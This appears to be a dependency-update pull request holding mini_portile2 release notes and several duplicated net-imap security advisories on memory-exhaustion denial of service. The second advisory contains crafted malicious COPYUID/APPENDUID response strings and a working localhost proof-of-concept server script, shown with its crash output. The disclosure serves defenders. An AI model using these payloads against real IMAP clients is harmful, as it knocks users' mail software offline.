• DEV: Require ruby >= 2.5 (#46)
• DEV: Update gem description to match repo desc (#47)
• DB updates 2022-01-06T11:58:07Z (#45)
• Update CI config (#42)
• Add Ruby 3.0 to CI (#40)

2.8.9

2.8.9 / 2025-05-12

Ruby support

• Import only what's needed from cgi, for supporting Ruby 3.5. #160 @Earlopain

New Contributors

• @kenhys made their first contribution in #156
• @Earlopain made their first contribution in #160

Full Changelog: v2.8.8...v2.8.9

2.8.8

2.8.8 / 2024-11-14

Improved

• Raise an exception with a clear error message when xzcat is needed but is not installed. (#152) @flavorjones

2.8.7

2.8.7 / 2024-05-31

Added

• When setting the C compiler through the MiniPortile constructor, the preferred keyword argument is now :cc_command. The original :gcc_command is still supported. (#144 by @flavorjones)
• Add support for extracting xz-compressed tarballs on OpenBSD. (#141 by @postmodern)
• Add OpenBSD support to the experimental method MakeMakefile#mkmf_config. (#141 by @flavorjones)

Changed

• MiniPortileCMake now detects the C and C++ compiler the same way MiniPortile does: by examining environment variables, then using kwargs, then looking in RbConfig (in that order). (#144 by @flavorjones)
• GPG file verification error messages are captured in the raised exception. Previously these errors went to stderr. (#145 by @flavorjones)

2.8.6

2.8.6 / 2024-04-14

Added

• When using CMake on FreeBSD, default to clang's "cc" and "c++" compilers. (#139 by @mudge)

2.8.5

2.8.5 / 2023-10-22

Added

• New methods #lib_path and #include_path which point at the installed directories under ports. (by @flavorjones)
• Add config param for CMAKE_BUILD_TYPE, which now defaults to Release. (#136 by @Watson1978)

Experimental

Introduce experimental support for MiniPortile#mkmf_config which sets up MakeMakefile variables to properly link against the recipe. This should make it easier for C extensions to package third-party libraries. (by @flavorjones)

• With no arguments, will set up just $INCFLAGS, $libs, and $LIBPATH.
• Optionally, if provided a pkg-config file, will use that config to more precisely set $INCFLAGS, $libs, $LIBPATH, and $CFLAGS/$CXXFLAGS.
• Optionally, if provided the name of a static archive, will rewrite linker flags to ensure correct linkage.

Note that the behavior may change slightly before official support is announced. Please comment on #118 if you have feedback.

2.8.4

2.8.4 / 2023-07-18

• cmake: set CMAKE compile flags to configure cross-compilation similarly to autotools --host flag: SYSTEM_NAME, SYSTEM_PROCESSOR, C_COMPILER, and CXX_COMPILER. [#130] (Thanks, @stanhu!)

2.8.3

2.8.3 / 2023-07-18

Fixed

• cmake: only use MSYS/NMake generators when available. [#129] (Thanks, @stanhu!)

2.8.2

2.8.2 / 2023-04-30

Fixed

• Ensure that the source_directory option will work when given a Windows path to an autoconf directory. [#126]

2.8.1

2.8.1 / 2022-12-24

Fixed

• Support applying patches via git apply even when the working directory resembles a git directory. [#119] (Thanks, @h0tw1r3!)

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by more commits than we can show here.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 net-imap rubygem vulnerable to possible DoS by memory exhaustion

Summary

There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response.

This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname).

Details

The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted.

Fix

Upgrade

Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20.

To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7.

Configuration

To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited).

When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used.

# Set the global max_response_size (only ~> v0.4.20, > 0.5.7)
Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB

# Set when creating the connection
imap = Net::IMAP.new(hostname, ssl: true,
                     max_response_size: 16 << 10) # 16 KiB

# Set after creating the connection
imap.max_response_size = 256 << 20 # 256 KiB
# flush currently waiting read, to ensure the new setting is loaded
imap.noop

Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses.

Compatibility with lower max_response_size

A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies:

imap.max_response_size = 256 << 20 # 256 KiB
imap.noop # flush currently waiting read

# fetch a message in 252KiB chunks
size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size
limit = 252 << 10
message = ((0..size) % limit).each_with_object("") {|offset, str|
  str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:)
}

imap.max_response_size = 16 << 20 # 16 KiB
imap.noop # flush currently waiting read

References

• PR to introduce max_response_size: #444
  • Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb
• Backport to 0.4: #445
• Backport to 0.3: #446
• Backport to 0.2: #447

🚨 net-imap rubygem vulnerable to possible DoS by memory exhaustion

Summary

There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response.

This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname).

Details

The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted.

Fix

Upgrade

Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20.

To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7.

Configuration

To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited).

When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used.

# Set the global max_response_size (only ~> v0.4.20, > 0.5.7)
Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB

# Set when creating the connection
imap = Net::IMAP.new(hostname, ssl: true,
                     max_response_size: 16 << 10) # 16 KiB

# Set after creating the connection
imap.max_response_size = 256 << 20 # 256 KiB
# flush currently waiting read, to ensure the new setting is loaded
imap.noop

Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses.

Compatibility with lower max_response_size

A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies:

imap.max_response_size = 256 << 20 # 256 KiB
imap.noop # flush currently waiting read

# fetch a message in 252KiB chunks
size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size
limit = 252 << 10
message = ((0..size) % limit).each_with_object("") {|offset, str|
  str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:)
}

imap.max_response_size = 16 << 20 # 16 KiB
imap.noop # flush currently waiting read

References

• PR to introduce max_response_size: #444
  • Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb
• Backport to 0.4: #445
• Backport to 0.3: #446
• Backport to 0.2: #447

🚨 net-imap rubygem vulnerable to possible DoS by memory exhaustion

Summary

There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response.

This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname).

Details

The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted.

Fix

Upgrade

Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20.

To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7.

Configuration

To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited).

When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used.

# Set the global max_response_size (only ~> v0.4.20, > 0.5.7)
Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB

# Set when creating the connection
imap = Net::IMAP.new(hostname, ssl: true,
                     max_response_size: 16 << 10) # 16 KiB

# Set after creating the connection
imap.max_response_size = 256 << 20 # 256 KiB
# flush currently waiting read, to ensure the new setting is loaded
imap.noop

Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses.

Compatibility with lower max_response_size

A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies:

imap.max_response_size = 256 << 20 # 256 KiB
imap.noop # flush currently waiting read

# fetch a message in 252KiB chunks
size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size
limit = 252 << 10
message = ((0..size) % limit).each_with_object("") {|offset, str|
  str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:)
}

imap.max_response_size = 16 << 20 # 16 KiB
imap.noop # flush currently waiting read

References

• PR to introduce max_response_size: #444
  • Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb
• Backport to 0.4: #445
• Backport to 0.3: #446
• Backport to 0.2: #447

🚨 net-imap rubygem vulnerable to possible DoS by memory exhaustion

Summary

There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response.

This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname).

Details

The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted.

Fix

Upgrade

Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20.

To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7.

Configuration

To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited).

When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used.

# Set the global max_response_size (only ~> v0.4.20, > 0.5.7)
Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB

# Set when creating the connection
imap = Net::IMAP.new(hostname, ssl: true,
                     max_response_size: 16 << 10) # 16 KiB

# Set after creating the connection
imap.max_response_size = 256 << 20 # 256 KiB
# flush currently waiting read, to ensure the new setting is loaded
imap.noop

Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses.

Compatibility with lower max_response_size

A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies:

imap.max_response_size = 256 << 20 # 256 KiB
imap.noop # flush currently waiting read

# fetch a message in 252KiB chunks
size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size
limit = 252 << 10
message = ((0..size) % limit).each_with_object("") {|offset, str|
  str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:)
}

imap.max_response_size = 16 << 20 # 16 KiB
imap.noop # flush currently waiting read

References

• PR to introduce max_response_size: #444
  • Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb
• Backport to 0.4: #445
• Backport to 0.3: #446
• Backport to 0.2: #447

🚨 Possible DoS by memory exhaustion in net-imap

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'

🚨 Possible DoS by memory exhaustion in net-imap

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'

🚨 Possible DoS by memory exhaustion in net-imap

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

